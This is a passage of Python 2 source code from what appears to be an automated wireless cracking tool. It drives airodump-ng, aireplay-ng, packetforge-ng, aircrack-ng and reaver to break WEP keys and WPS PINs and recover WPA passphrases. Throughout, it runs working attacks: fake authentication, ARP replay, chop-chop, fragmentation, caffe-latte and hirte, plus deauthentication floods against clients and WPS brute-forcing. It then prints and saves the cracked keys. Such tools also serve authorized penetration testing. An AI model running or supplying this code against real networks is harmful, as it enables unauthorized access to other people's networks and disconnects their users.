csv\_file = file\_prefix + '-01.csv'

cap\_file = file\_prefix + '-01.cap'

remove\_airodump\_files(file\_prefix)

remove\_file(wepkey\_file)

# Start airodump process to capture packets

cmd\_airodump = ['airodump-ng',

'-w', file\_prefix, # Output file name (wep-01.cap, wep-01.csv)

'-c', self.target.channel, # Wireless channel

'--write-interval', '1',

'--bssid', self.target.bssid,

self.iface]

proc\_airodump = Popen(cmd\_airodump, stdout=DN, stderr=DN)

proc\_aireplay = None

proc\_aircrack = None

successful = False # Flag for when attack is successful

started\_cracking = False # Flag for when we have started aircrack-ng

client\_mac = '' # The client mac we will send packets to/from

total\_ivs = 0

ivs = 0

last\_ivs = 0

for attack\_num in xrange(0, 6):

# Skip disabled attacks

if attack\_num == 0 and not self.RUN\_CONFIG.WEP\_ARP\_REPLAY:

continue

elif attack\_num == 1 and not self.RUN\_CONFIG.WEP\_CHOPCHOP:

continue

elif attack\_num == 2 and not self.RUN\_CONFIG.WEP\_FRAGMENT:

continue

elif attack\_num == 3 and not self.RUN\_CONFIG.WEP\_CAFFELATTE:

continue

elif attack\_num == 4 and not self.RUN\_CONFIG.WEP\_P0841:

continue

elif attack\_num == 5 and not self.RUN\_CONFIG.WEP\_HIRTE:

continue

remaining\_attacks -= 1

try:

if self.wep\_fake\_auth(self.iface, self.target, sec\_to\_hms(self.RUN\_CONFIG.WEP\_TIMEOUT)):

# Successful fake auth

client\_mac = self.RUN\_CONFIG.THIS\_MAC

elif not self.RUN\_CONFIG.WEP\_IGNORE\_FAKEAUTH:

send\_interrupt(proc\_aireplay)

send\_interrupt(proc\_airodump)

print R + ' [!]' + O + ' unable to fake-authenticate with target'

print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'

return False

remove\_file(os.path.join(self.RUN\_CONFIG.temp, 'arp.cap'))

# Generate the aireplay-ng arguments based on attack\_num and other params

cmd = self.get\_aireplay\_command(self.iface, attack\_num, self.target, self.clients, client\_mac)

if cmd == '': continue

if proc\_aireplay != None:

send\_interrupt(proc\_aireplay)

proc\_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE)

print '\r %s attacking "%s" via' % (

GR + sec\_to\_hms(self.RUN\_CONFIG.WEP\_TIMEOUT) + W, G + self.target.ssid + W),

if attack\_num == 0:

print G + 'arp-replay',

elif attack\_num == 1:

print G + 'chop-chop',

elif attack\_num == 2:

print G + 'fragmentation',

elif attack\_num == 3:

print G + 'caffe-latte',

elif attack\_num == 4:

print G + 'p0841',

elif attack\_num == 5:

print G + 'hirte',

print 'attack' + W

print ' %s captured %s%d%s ivs @ %s iv/sec' % (

GR + sec\_to\_hms(self.RUN\_CONFIG.WEP\_TIMEOUT) + W, G, total\_ivs, W, G + '0' + W),

stdout.flush()

time.sleep(1)

if attack\_num == 1:

# Send a deauth packet to broadcast and all clients \*just because!\*

self.wep\_send\_deauths(self.iface, self.target, self.clients)

last\_deauth = time.time()

replaying = False

time\_started = time.time()

while time.time() - time\_started < self.RUN\_CONFIG.WEP\_TIMEOUT:

# time.sleep(5)

if self.RUN\_CONFIG.WEP\_TIMEOUT == -1:

current\_hms = "[endless]"

else:

current\_hms = sec\_to\_hms(self.RUN\_CONFIG.WEP\_TIMEOUT - (time.time() - time\_started))

print "\r %s\r" % (GR + current\_hms + W),

stdout.flush()

time.sleep(1)

# Calculates total seconds remaining

# Check number of IVs captured

csv = self.RUN\_CONFIG.RUN\_ENGINE.parse\_csv(csv\_file)[0]

if len(csv) > 0:

ivs = int(csv[0].data)

print "\r ",

print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \

(GR + current\_hms + W, G, total\_ivs + ivs, W, G, (ivs - last\_ivs), W),

if ivs - last\_ivs == 0 and time.time() - last\_deauth > 30:

print "\r %s deauthing to generate packets..." % (GR + current\_hms + W),

self.wep\_send\_deauths(self.iface, self.target, self.clients)

print "done\r",

last\_deauth = time.time()

last\_ivs = ivs

stdout.flush()

if total\_ivs + ivs >= self.RUN\_CONFIG.WEP\_CRACK\_AT\_IVS and not started\_cracking:

# Start cracking

cmd = ['aircrack-ng',

'-a', '1',

'-l', wepkey\_file]

#temp + 'wep-01.cap']

# Append all .cap files in temp directory (in case we are resuming)

for f in os.listdir(self.RUN\_CONFIG.temp):

if f.startswith('wep-') and f.endswith('.cap'):

cmd.append(os.path.join(self.RUN\_CONFIG.temp, f))

print "\r %s started %s (%sover %d ivs%s)" % (

GR + current\_hms + W, G + 'cracking' + W, G, self.RUN\_CONFIG.WEP\_CRACK\_AT\_IVS, W)

proc\_aircrack = Popen(cmd, stdout=DN, stderr=DN)

started\_cracking = True

# Check if key has been cracked yet.

if os.path.exists(wepkey\_file):

# Cracked!

infile = open(wepkey\_file, 'r')

key = infile.read().replace('\n', '')

infile.close()

print '\n\n %s %s %s (%s)! key: "%s"' % (

current\_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)

self.RUN\_CONFIG.WEP\_FINDINGS.append(

'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))

self.RUN\_CONFIG.WEP\_FINDINGS.append('')

t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)

t.key = key

self.RUN\_CONFIG.save\_cracked(t)

# Kill processes

send\_interrupt(proc\_airodump)

send\_interrupt(proc\_aireplay)

try:

os.kill(proc\_aireplay, SIGTERM)

except:

pass

send\_interrupt(proc\_aircrack)

# Remove files generated by airodump/aireplay/packetforce

time.sleep(0.5)

remove\_airodump\_files(file\_prefix)

remove\_file(wepkey\_file)

return True

# Check if aireplay is still executing

if proc\_aireplay.poll() == None:

if replaying:

print ', ' + G + 'replaying \r' + W,

elif attack\_num == 1 or attack\_num == 2:

print ', waiting for packet \r',

stdout.flush()

continue

# At this point, aireplay has stopped

if attack\_num != 1 and attack\_num != 2:

print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current\_hms, O, W)

(sout, serr) = proc\_aireplay.communicate()

break # Break out of attack's While loop

# Check for a .XOR file (we expect one when doing chopchop/fragmentation

xor\_file = ''

for filename in sorted(os.listdir(self.RUN\_CONFIG.temp)):

if filename.lower().endswith('.xor'):

xor\_file = os.path.join(self.RUN\_CONFIG.temp, filename)

if xor\_file == '':

print '\r %s attack failed: %sunable to generate keystream %s' % (R + current\_hms, O, W)

break

remove\_file(os.path.join(self.RUN\_CONFIG.temp, 'arp.cap'))

cmd = ['packetforge-ng',

'-0',

'-a', self.target.bssid,

'-h', client\_mac,

'-k', '192.168.1.2',

'-l', '192.168.1.100',

'-y', xor\_file,

'-w', os.path.join(self.RUN\_CONFIG.temp, 'arp.cap'),

self.iface]

proc\_pforge = Popen(cmd, stdout=PIPE, stderr=DN)

proc\_pforge.wait()

forged\_packet = proc\_pforge.communicate()[0]

remove\_file(xor\_file)

if forged\_packet == None: result = ''

forged\_packet = forged\_packet.strip()

if not forged\_packet.find('Wrote packet'):

print "\r %s attack failed: unable to forget ARP packet %s" % (

R + current\_hms + O, W)

break

# We were able to forge a packet, so let's replay it via aireplay-ng

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--arpreplay',

'-b', self.target.bssid,

'-r', os.path.join(self.RUN\_CONFIG.temp, 'arp.cap'), # Used the forged ARP packet

'-F', # Select the first packet

self.iface]

proc\_aireplay = Popen(cmd, stdout=DN, stderr=DN)

print '\r %s forged %s! %s... ' % (

GR + current\_hms + W, G + 'arp packet' + W, G + 'replaying' + W)

replaying = True

# After the attacks, if we are already cracking, wait for the key to be found!

while started\_cracking: # ivs > WEP\_CRACK\_AT\_IVS:

time.sleep(1)

# Check number of IVs captured

csv = self.RUN\_CONFIG.RUN\_ENGINE.parse\_csv(csv\_file)[0]

if len(csv) > 0:

ivs = int(csv[0].data)

print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \

(G, total\_ivs + ivs, W, G, (ivs - last\_ivs), W),

last\_ivs = ivs

stdout.flush()

# Check if key has been cracked yet.

if os.path.exists(wepkey\_file):

# Cracked!

infile = open(wepkey\_file, 'r')

key = infile.read().replace('\n', '')

infile.close()

print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (

G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)

self.RUN\_CONFIG.WEP\_FINDINGS.append(

'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))

self.RUN\_CONFIG.WEP\_FINDINGS.append('')

t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)

t.key = key

self.RUN\_CONFIG.save\_cracked(t)

# Kill processes

send\_interrupt(proc\_airodump)

send\_interrupt(proc\_aireplay)

send\_interrupt(proc\_aircrack)

# Remove files generated by airodump/aireplay/packetforce

remove\_airodump\_files(file\_prefix)

remove\_file(wepkey\_file)

return True

# Keyboard interrupt during attack

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W

send\_interrupt(proc\_airodump)

if proc\_aireplay != None:

send\_interrupt(proc\_aireplay)

if proc\_aircrack != None:

send\_interrupt(proc\_aircrack)

options = []

selections = []

if remaining\_attacks > 0:

options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \

(G, W, (remaining\_attacks), 's' if remaining\_attacks != 1 else ''))

selections.append(G + 'c' + W)

if self.RUN\_CONFIG.TARGETS\_REMAINING > 0:

options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \

(O, W, self.RUN\_CONFIG.TARGETS\_REMAINING,

's' if self.RUN\_CONFIG.TARGETS\_REMAINING != 1 else ''))

selections.append(O + 's' + W)

options.append('%sexit%s the program completely' % (R, W))

selections.append(R + 'e' + W)

if len(options) > 1:

# Ask user what they want to do, Store answer in "response"

print GR + ' [+]' + W + ' what do you want to do?'

response = ''

while response != 'c' and response != 's' and response != 'e':

for option in options:

print ' %s' % option

response = raw\_input(

GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]

else:

response = 'e'

if response == 'e' or response == 's':

# Exit or skip target (either way, stop this attack)

if self.RUN\_CONFIG.WEP\_SAVE:

# Save packets

save\_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '\_' + self.target.bssid.replace(':',

'-') + '.cap' + W

try:

rename(cap\_file, save\_as)

except OSError:

print R + ' [!]' + O + ' unable to save capture file!' + W

else:

print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save\_as + W

# Remove files generated by airodump/aireplay/packetforce

for filename in os.listdir('.'):

if filename.startswith('replay\_arp-') and filename.endswith('.cap'):

remove\_file(filename)

remove\_airodump\_files(file\_prefix)

remove\_file(wepkey\_file)

print ''

if response == 'e':

self.RUN\_CONFIG.exit\_gracefully(0)

return

elif response == 'c':

# Continue attacks

# Need to backup temp/wep-01.cap and remove airodump files

i = 2

while os.path.exists(os.path.join(self.RUN\_CONFIG.temp, 'wep-' + str(i) + '.cap')):

i += 1

new\_cap\_file = os.path.join(self.RUN\_CONFIG.temp, 'wep-' + str(i) + '.cap')

copy(cap\_file, new\_cap\_file)

remove\_airodump\_files(file\_prefix)

# Need to restart airodump-ng, as it's been interrupted/killed

proc\_airodump = Popen(cmd\_airodump, stdout=DN, stderr=DN)

# Say we haven't started cracking yet, so we re-start if needed.

started\_cracking = False

# Reset IVs counters for proper behavior

total\_ivs += ivs

ivs = 0

last\_ivs = 0

# Also need to remember to crack "temp/\*.cap" instead of just wep-01.cap

pass

if successful:

print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W

else:

print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W

send\_interrupt(proc\_airodump)

if proc\_aireplay != None:

send\_interrupt(proc\_aireplay)

# Remove files generated by airodump/aireplay/packetforce

for filename in os.listdir('.'):

if filename.startswith('replay\_arp-') and filename.endswith('.cap'):

remove\_file(filename)

remove\_airodump\_files(file\_prefix)

remove\_file(wepkey\_file)

def wep\_fake\_auth(self, iface, target, time\_to\_display):

"""

Attempt to (falsely) authenticate with a WEP access point.

Gives 3 seconds to make each 5 authentication attempts.

Returns True if authentication was successful, False otherwise.

"""

max\_wait = 3 # Time, in seconds, to allow each fake authentication

max\_attempts = 5 # Number of attempts to make

for fa\_index in xrange(1, max\_attempts + 1):

print '\r ',

print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \

(GR + time\_to\_display + W, G, W, fa\_index, max\_attempts),

stdout.flush()

cmd = ['aireplay-ng',

'--ignore-negative-one',

'-1', '0', # Fake auth, no delay

'-a', target.bssid,

'-T', '1'] # Make 1 attempt

if target.ssid != '':

cmd.append('-e')

cmd.append(target.ssid)

cmd.append(iface)

proc\_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)

started = time.time()

while proc\_fakeauth.poll() == None and time.time() - started <= max\_wait:

time.sleep(0.1)

if time.time() - started > max\_wait:

send\_interrupt(proc\_fakeauth)

print R + 'failed' + W,

stdout.flush()

time.sleep(0.5)

continue

result = proc\_fakeauth.communicate()[0].lower()

if result.find('switching to shared key') != -1 or \

result.find('rejects open system'): pass

if result.find('association successful') != -1:

print G + 'success!' + W

return True

print R + 'failed' + W,

stdout.flush()

time.sleep(0.5)

continue

print ''

return False

def get\_aireplay\_command(self, iface, attack\_num, target, clients, client\_mac):

"""

Returns aireplay-ng command line arguments based on parameters.

"""

cmd = ''

if attack\_num == 0:

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--arpreplay',

'-b', target.bssid,

'-x', str(self.RUN\_CONFIG.WEP\_PPS)] # Packets per second

if client\_mac != '':

cmd.append('-h')

cmd.append(client\_mac)

elif len(clients) > 0:

cmd.append('-h')

cmd.append(clients[0].bssid)

cmd.append(iface)

elif attack\_num == 1:

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--chopchop',

'-b', target.bssid,

'-x', str(self.RUN\_CONFIG.WEP\_PPS), # Packets per second

'-m', '60', # Minimum packet length (bytes)

'-n', '82', # Maxmimum packet length

'-F'] # Automatically choose the first packet

if client\_mac != '':

cmd.append('-h')

cmd.append(client\_mac)

elif len(clients) > 0:

cmd.append('-h')

cmd.append(clients[0].bssid)

cmd.append(iface)

elif attack\_num == 2:

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--fragment',

'-b', target.bssid,

'-x', str(self.RUN\_CONFIG.WEP\_PPS), # Packets per second

'-m', '100', # Minimum packet length (bytes)

'-F'] # Automatically choose the first packet

if client\_mac != '':

cmd.append('-h')

cmd.append(client\_mac)

elif len(clients) > 0:

cmd.append('-h')

cmd.append(clients[0].bssid)

cmd.append(iface)

elif attack\_num == 3:

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--caffe-latte',

'-b', target.bssid]

if len(clients) > 0:

cmd.append('-h')

cmd.append(clients[0].bssid)

cmd.append(iface)

elif attack\_num == 4:

cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',

'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN\_CONFIG.WEP\_PPS), '-F', '-p', '0841', iface]

elif attack\_num == 5:

if len(clients) == 0:

print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'

return ''

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--cfrag',

'-h', clients[0].bssid,

iface]

return cmd

def wep\_send\_deauths(self, iface, target, clients):

"""

Sends deauth packets to broadcast and every client.

"""

# Send deauth to broadcast

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--deauth', str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT),

'-a', target.bssid,

iface]

call(cmd, stdout=DN, stderr=DN)

# Send deauth to every client

for client in clients:

cmd = ['aireplay-ng',

'--ignore-negative-one',

'--deauth', str(self.RUN\_CONFIG.WPA\_DEAUTH\_COUNT),

'-a', target.bssid,

'-c', client.bssid,

iface]

call(cmd, stdout=DN, stderr=DN)

#################

# WPS FUNCTIONS #

#################

class WPSAttack(Attack):

def \_\_init\_\_(self, iface, target, config):

self.iface = iface

self.target = target

self.RUN\_CONFIG = config

def RunAttack(self):

'''

Abstract method for initializing the WPS attack

'''

if self.is\_pixie\_supported():

# Try the pixie-dust attack

if self.attack\_wps\_pixie():

# If it succeeds, stop

return True

# Drop out if user specified to run ONLY the pixie attack

if self.RUN\_CONFIG.PIXIE:

return False

# Try the WPS PIN attack

return self.attack\_wps()

def EndAttack(self):

'''

Abstract method for ending the WPS attack

'''

pass

def is\_pixie\_supported(self):

'''

Checks if current version of Reaver supports the pixie-dust attack

'''

p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)

stdout = p.communicate()[1]

for line in stdout.split('\n'):

if '--pixie-dust' in line:

return True

return False

def attack\_wps\_pixie(self):

"""

Attempts "Pixie WPS" attack which certain vendors

susceptible to.

"""

# TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6\_x")

# If not, return False

output\_file = os.path.join(self.RUN\_CONFIG.temp, 'out.out')

pixie\_file = os.path.join(self.RUN\_CONFIG.temp, 'pixie.out')

print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \

(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)

cmd = ['reaver',

'-i', self.iface,

'-b', self.target.bssid,

'-c', self.target.channel,

'-K', '1', # Pixie WPS attack

'-vv'] # verbose output

# Redirect output to files

outf = open(output\_file, 'a')

errf = open(pixie\_file, 'a')

# Start process

proc = Popen(cmd, stdout=outf, stderr=errf)

cracked = False # Flag for when password/pin is found

time\_started = time.time()

pin = ''

key = ''

try:

while not cracked:

time.sleep(1)

errf.flush()

if proc.poll() != None:

# Process stopped: Cracked? Failed?

errf.close()

inf = open(output\_file, 'r')

lines = inf.read().split('\n')

inf.close()

for line in lines:

# Cracked: older pixiewps/reaver output

if line.find("WPS PIN: '") != -1:

pin = line[line.find("WPS PIN: '") + 10:-1]

cracked = True

if line.find("WPA PSK: '") != -1:

key = line[line.find("WPA PSK: '") + 10:-1]

# Cracked: Newer pixiewps output

if line.find("WPS pin: ") != -1:

pin = line[line.find("WPS pin: ") + 10:]

cracked = True

if line.find("WPA PSK: ") != -1:

key = line[line.find("WPA PSK: ") + 10:]

# Failed:

if 'Pixie-Dust' in line and 'WPS pin not found' in line:

# PixieDust isn't possible on this router

print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec\_to\_hms(time.time() - time\_started) + G, R, W)

break

break

# (Reaver is still running)

print '\r %s WPS Pixie attack:' % (GR + sec\_to\_hms(time.time() - time\_started) + G),

# Check if there's an output file to parse

if not os.path.exists(output\_file): continue

inf = open(output\_file, 'r')

lines = inf.read().split('\n')

inf.close()

output\_line = ''

for line in lines:

line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()

if line == '' or line == ' ' or line == '\t': continue

if len(line) > 50:

# Trim to a reasonable size

line = line[0:47] + '...'

output\_line = line

if 'Sending M2 message' in output\_line:

# At this point in the Pixie attack, all output is via stderr

# We have to wait for the process to finish to see the result.

print O, 'sending M2 message (may take a while)... ', W,

elif output\_line != '':

# Print the last message from reaver as a "status update"

print C, output\_line, W, ' ' \* (50 - len(output\_line)),

stdout.flush()

# Clear out output file

inf = open(output\_file, 'w')

inf.close()

# End of big "while not cracked" loop

if cracked:

if pin != '':

print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)

if key != '':

print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)

else:

key = 'N/A'

self.RUN\_CONFIG.WPA\_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (

G + self.target.ssid + W, C + key + W, C + pin + W))

self.RUN\_CONFIG.WPA\_FINDINGS.append('')

t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)

t.key = key

t.wps = pin

self.RUN\_CONFIG.save\_cracked(t)

else:

print GR + '\n [+]' + R + ' Attack failed.' + W

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W

if attack\_interrupted\_prompt():

send\_interrupt(proc)

print ''

self.RUN\_CONFIG.exit\_gracefully(0)

send\_interrupt(proc)

# Delete the files

if os.path.exists(output\_file): os.remove(output\_file)

if os.path.exists(pixie\_file): os.remove(pixie\_file)

return cracked

def attack\_wps(self):

"""

Mounts attack against target on iface.

Uses "reaver" to attempt to brute force the PIN.

Once PIN is found, PSK can be recovered.

PSK is displayed to user and added to WPS\_FINDINGS

"""

print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \

(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)

output\_file = os.path.join(self.RUN\_CONFIG.temp, 'out.out')

cmd = ['reaver',

'-i', self.iface,

'-b', self.target.bssid,

'-o', output\_file, # Dump output to file to be monitored

'-c', self.target.channel,

'-vv'] # verbose output

proc = Popen(cmd, stdout=DN, stderr=DN)

cracked = False # Flag for when password/pin is found

percent = 'x.xx%' # Percentage complete

aps = 'x' # Seconds per attempt

time\_started = time.time()

last\_success = time\_started # Time of last successful attempt

last\_pin = '' # Keep track of last pin tried (to detect retries)

retries = 0 # Number of times we have attempted this PIN

tries\_total = 0 # Number of times we have attempted all pins

tries = 0 # Number of successful attempts

pin = ''

key = ''

try:

while not cracked:

time.sleep(1)

if not os.path.exists(output\_file): continue

if proc.poll() != None:

# Process stopped: Cracked? Failed?

inf = open(output\_file, 'r')

lines = inf.read().split('\n')

inf.close()

for line in lines:

# When it's cracked:

if line.find("WPS PIN: '") != -1:

pin = line[line.find("WPS PIN: '") + 10:-1]

cracked = True

if line.find("WPA PSK: '") != -1:

key = line[line.find("WPA PSK: '") + 10:-1]

break

inf = open(output\_file, 'r')

lines = inf.read().split('\n')

inf.close()

for line in lines:

if line.strip() == '': continue

# Status

if line.find(' complete @ ') != -1 and len(line) > 8:

percent = line.split(' ')[1]

i = line.find(' (')

j = line.find(' seconds/', i)

if i != -1 and j != -1: aps = line[i + 2:j]

# PIN attempt

elif line.find(' Trying pin ') != -1:

pin = line.strip().split(' ')[-1]

if pin == last\_pin:

retries += 1

elif tries\_total == 0:

last\_pin = pin

tries\_total -= 1

else:

last\_success = time.time()

tries += 1

last\_pin = pin

retries = 0

tries\_total += 1

# Warning

elif line.endswith('10 failed connections in a row'):

pass

# Check for PIN/PSK

elif line.find("WPS PIN: '") != -1:

pin = line[line.find("WPS PIN: '") + 10:-1]

cracked = True

elif line.find("WPA PSK: '") != -1:

key = line[line.find("WPA PSK: '") + 10:-1]

if cracked: break

print ' %s WPS attack, %s success/ttl,' % \

(GR + sec\_to\_hms(time.time() - time\_started) + W, \

G + str(tries) + W + '/' + O + str(tries\_total) + W),

if percent == 'x.xx%' and aps == 'x':

print '\r',

else:

print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),

if self.RUN\_CONFIG.WPS\_TIMEOUT > 0 and (time.time() - last\_success) > self.RUN\_CONFIG.WPS\_TIMEOUT:

print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (

self.RUN\_CONFIG.WPS\_TIMEOUT)

print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)

break

if self.RUN\_CONFIG.WPS\_MAX\_RETRIES > 0 and retries > self.RUN\_CONFIG.WPS\_MAX\_RETRIES:

print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (

self.RUN\_CONFIG.WPS\_MAX\_RETRIES)

print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W

print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)

break

if self.RUN\_CONFIG.WPS\_RATIO\_THRESHOLD > 0.0 and tries > 0 and (

float(tries) / tries\_total) < self.RUN\_CONFIG.WPS\_RATIO\_THRESHOLD:

print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (

self.RUN\_CONFIG.WPS\_RATIO\_THRESHOLD)

print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)

break

stdout.flush()

# Clear out output file if bigger than 1mb

inf = open(output\_file, 'w')

inf.close()

# End of big "while not cracked" loop

if cracked:

if pin != '':

print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)

if key != '':

print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)

else:

key = 'N/A'

self.RUN\_CONFIG.WPA\_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (

G + self.target.ssid + W, C + key + W, C + pin + W))

self.RUN\_CONFIG.WPA\_FINDINGS.append('')

t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)

t.key = key

t.wps = pin

self.RUN\_CONFIG.save\_cracked(t)

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W

if attack\_interrupted\_prompt():

send\_interrupt(proc)

print ''

self.RUN\_CONFIG.exit\_gracefully(0)

send\_interrupt(proc)

return cracked

if \_\_name\_\_ == '\_\_main\_\_':

RUN\_CONFIG = RunConfiguration()

try:

banner(RUN\_CONFIG)

engine = RunEngine(RUN\_CONFIG)

engine.Start()

#main(RUN\_CONFIG)

except KeyboardInterrupt:

print R + '\n (^C)' + O + ' interrupted\n' + W

except EOFError:

print R + '\n (^D)' + O + ' interrupted\n' + W

RUN\_CONFIG.exit\_gracefully(0)